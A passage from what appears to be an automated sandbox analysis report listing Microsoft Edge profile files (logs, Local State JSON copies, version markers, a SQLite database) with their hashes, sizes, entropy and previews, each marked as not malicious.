Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................e..:...............#38_h.......6.Z..W.F.....Q.......Q..........qV.e.................V.m0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.148132869850587
Encrypted:	false
SSDEEP:	6:Hy2l+q2PN723oH+TcwtfrK+IFUt8Yy2MXZmw+Yy2M3VkwON723oH+TcwtfrUeLJ:S2wvVaYeb23FUt8f2MX/+f2MF5OaYeb5
MD5:	75EFCAAB52C4257C6A5DFA12AEB18E58
SHA1:	6E8C8DE9266347CA16851DC34DD0DA6A1962B17E
SHA-256:	10CCA431FAFA6B4DEAA801F2A012A4AFE18B66805E3C44F541F65F2A1351E489
SHA-512:	87EBF06F8CCCBEF67539FBBCEFEA0F42CD34E4FE4BE02CAC316D0908EDF0DB3A92C79820320BA3C6B95A54B5EC1D27B00E3832E5FCBB8DC2E9408785361DD917
Malicious:	false
Preview:	2024/11/22-23:02:38.307 1f28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/22-23:02:38.308 1f28 Recovering log #3.2024/11/22-23:02:38.308 1f28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.148132869850587
Encrypted:	false
SSDEEP:	6:Hy2l+q2PN723oH+TcwtfrK+IFUt8Yy2MXZmw+Yy2M3VkwON723oH+TcwtfrUeLJ:S2wvVaYeb23FUt8f2MX/+f2MF5OaYeb5
MD5:	75EFCAAB52C4257C6A5DFA12AEB18E58
SHA1:	6E8C8DE9266347CA16851DC34DD0DA6A1962B17E
SHA-256:	10CCA431FAFA6B4DEAA801F2A012A4AFE18B66805E3C44F541F65F2A1351E489
SHA-512:	87EBF06F8CCCBEF67539FBBCEFEA0F42CD34E4FE4BE02CAC316D0908EDF0DB3A92C79820320BA3C6B95A54B5EC1D27B00E3832E5FCBB8DC2E9408785361DD917
Malicious:	false
Preview:	2024/11/22-23:02:38.307 1f28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/22-23:02:38.308 1f28 Recovering log #3.2024/11/22-23:02:38.308 1f28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.120771466355305
Encrypted:	false
SSDEEP:	6:Hy2XJ+q2PN723oH+TcwtfrzAdIFUt8Yy2XlZmw+Yy2XJVkwON723oH+TcwtfrzId:S20vVaYeb9FUt8f2V/+f2H5OaYeb2J
MD5:	4D24D93DB3DBCF82F21872366F0F3F2F
SHA1:	D3EF38E319983FC91B07CA07C89D7DCFBA15DC59
SHA-256:	5CC0A7C147A1FFC78A7BE9A8DF824FCB0408DA8165CD47E088C1150E7C0C3996
SHA-512:	92ADD476F11134775612CC8DB5890D683A4F99B2380DC875DD7B0C397AA030F517DF09DA34C3ADA5C3541E000A8E4C177C7990FC648F0650223B4C64E259C5DD
Malicious:	false
Preview:	2024/11/22-23:02:38.303 1f28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/22-23:02:38.303 1f28 Recovering log #3.2024/11/22-23:02:38.303 1f28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.120771466355305
Encrypted:	false
SSDEEP:	6:Hy2XJ+q2PN723oH+TcwtfrzAdIFUt8Yy2XlZmw+Yy2XJVkwON723oH+TcwtfrzId:S20vVaYeb9FUt8f2V/+f2H5OaYeb2J
MD5:	4D24D93DB3DBCF82F21872366F0F3F2F
SHA1:	D3EF38E319983FC91B07CA07C89D7DCFBA15DC59
SHA-256:	5CC0A7C147A1FFC78A7BE9A8DF824FCB0408DA8165CD47E088C1150E7C0C3996
SHA-512:	92ADD476F11134775612CC8DB5890D683A4F99B2380DC875DD7B0C397AA030F517DF09DA34C3ADA5C3541E000A8E4C177C7990FC648F0650223B4C64E259C5DD
Malicious:	false
Preview:	2024/11/22-23:02:38.303 1f28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/22-23:02:38.303 1f28 Recovering log #3.2024/11/22-23:02:38.303 1f28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089771499423186
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMLkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynr0kzItSmd6qE7lFoC
MD5:	9807F81A9B19D7C2DB5D96CE520730C6
SHA1:	7A1AF0E7F1EC544069CD737B54D7DBBEB7466136
SHA-256:	110C560F8A49FE130E912AB3805505054EB348D29915343E4C5203E5B4A8F0B5
SHA-512:	611300AAEF147A5D2780359F6B8A63FA4F4D6D0E3C0D22D5044D217ADF8622D950652280B7F0F17B92BB6A5DD712A742A9B3F24AB29665B184729954BA5DB1F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b576.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089771499423186
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMLkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynr0kzItSmd6qE7lFoC
MD5:	9807F81A9B19D7C2DB5D96CE520730C6
SHA1:	7A1AF0E7F1EC544069CD737B54D7DBBEB7466136
SHA-256:	110C560F8A49FE130E912AB3805505054EB348D29915343E4C5203E5B4A8F0B5
SHA-512:	611300AAEF147A5D2780359F6B8A63FA4F4D6D0E3C0D22D5044D217ADF8622D950652280B7F0F17B92BB6A5DD712A742A9B3F24AB29665B184729954BA5DB1F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b586.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089771499423186
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMLkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynr0kzItSmd6qE7lFoC
MD5:	9807F81A9B19D7C2DB5D96CE520730C6
SHA1:	7A1AF0E7F1EC544069CD737B54D7DBBEB7466136
SHA-256:	110C560F8A49FE130E912AB3805505054EB348D29915343E4C5203E5B4A8F0B5
SHA-512:	611300AAEF147A5D2780359F6B8A63FA4F4D6D0E3C0D22D5044D217ADF8622D950652280B7F0F17B92BB6A5DD712A742A9B3F24AB29665B184729954BA5DB1F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b6dd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089771499423186
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMLkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynr0kzItSmd6qE7lFoC
MD5:	9807F81A9B19D7C2DB5D96CE520730C6
SHA1:	7A1AF0E7F1EC544069CD737B54D7DBBEB7466136
SHA-256:	110C560F8A49FE130E912AB3805505054EB348D29915343E4C5203E5B4A8F0B5
SHA-512:	611300AAEF147A5D2780359F6B8A63FA4F4D6D0E3C0D22D5044D217ADF8622D950652280B7F0F17B92BB6A5DD712A742A9B3F24AB29665B184729954BA5DB1F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ddbf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089771499423186
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMLkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynr0kzItSmd6qE7lFoC
MD5:	9807F81A9B19D7C2DB5D96CE520730C6
SHA1:	7A1AF0E7F1EC544069CD737B54D7DBBEB7466136
SHA-256:	110C560F8A49FE130E912AB3805505054EB348D29915343E4C5203E5B4A8F0B5
SHA-512:	611300AAEF147A5D2780359F6B8A63FA4F4D6D0E3C0D22D5044D217ADF8622D950652280B7F0F17B92BB6A5DD712A742A9B3F24AB29665B184729954BA5DB1F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF424ca.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089771499423186
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMLkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynr0kzItSmd6qE7lFoC
MD5:	9807F81A9B19D7C2DB5D96CE520730C6
SHA1:	7A1AF0E7F1EC544069CD737B54D7DBBEB7466136
SHA-256:	110C560F8A49FE130E912AB3805505054EB348D29915343E4C5203E5B4A8F0B5
SHA-512:	611300AAEF147A5D2780359F6B8A63FA4F4D6D0E3C0D22D5044D217ADF8622D950652280B7F0F17B92BB6A5DD712A742A9B3F24AB29665B184729954BA5DB1F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4c7e0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089771499423186
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMLkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynr0kzItSmd6qE7lFoC
MD5:	9807F81A9B19D7C2DB5D96CE520730C6
SHA1:	7A1AF0E7F1EC544069CD737B54D7DBBEB7466136
SHA-256:	110C560F8A49FE130E912AB3805505054EB348D29915343E4C5203E5B4A8F0B5
SHA-512:	611300AAEF147A5D2780359F6B8A63FA4F4D6D0E3C0D22D5044D217ADF8622D950652280B7F0F17B92BB6A5DD712A742A9B3F24AB29665B184729954BA5DB1F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF523eb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089771499423186
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWxdi1zNtPMLkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynr0kzItSmd6qE7lFoC
MD5:	9807F81A9B19D7C2DB5D96CE520730C6
SHA1:	7A1AF0E7F1EC544069CD737B54D7DBBEB7466136
SHA-256:	110C560F8A49FE130E912AB3805505054EB348D29915343E4C5203E5B4A8F0B5
SHA-512:	611300AAEF147A5D2780359F6B8A63FA4F4D6D0E3C0D22D5044D217ADF8622D950652280B7F0F17B92BB6A5DD712A742A9B3F24AB29665B184729954BA5DB1F4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
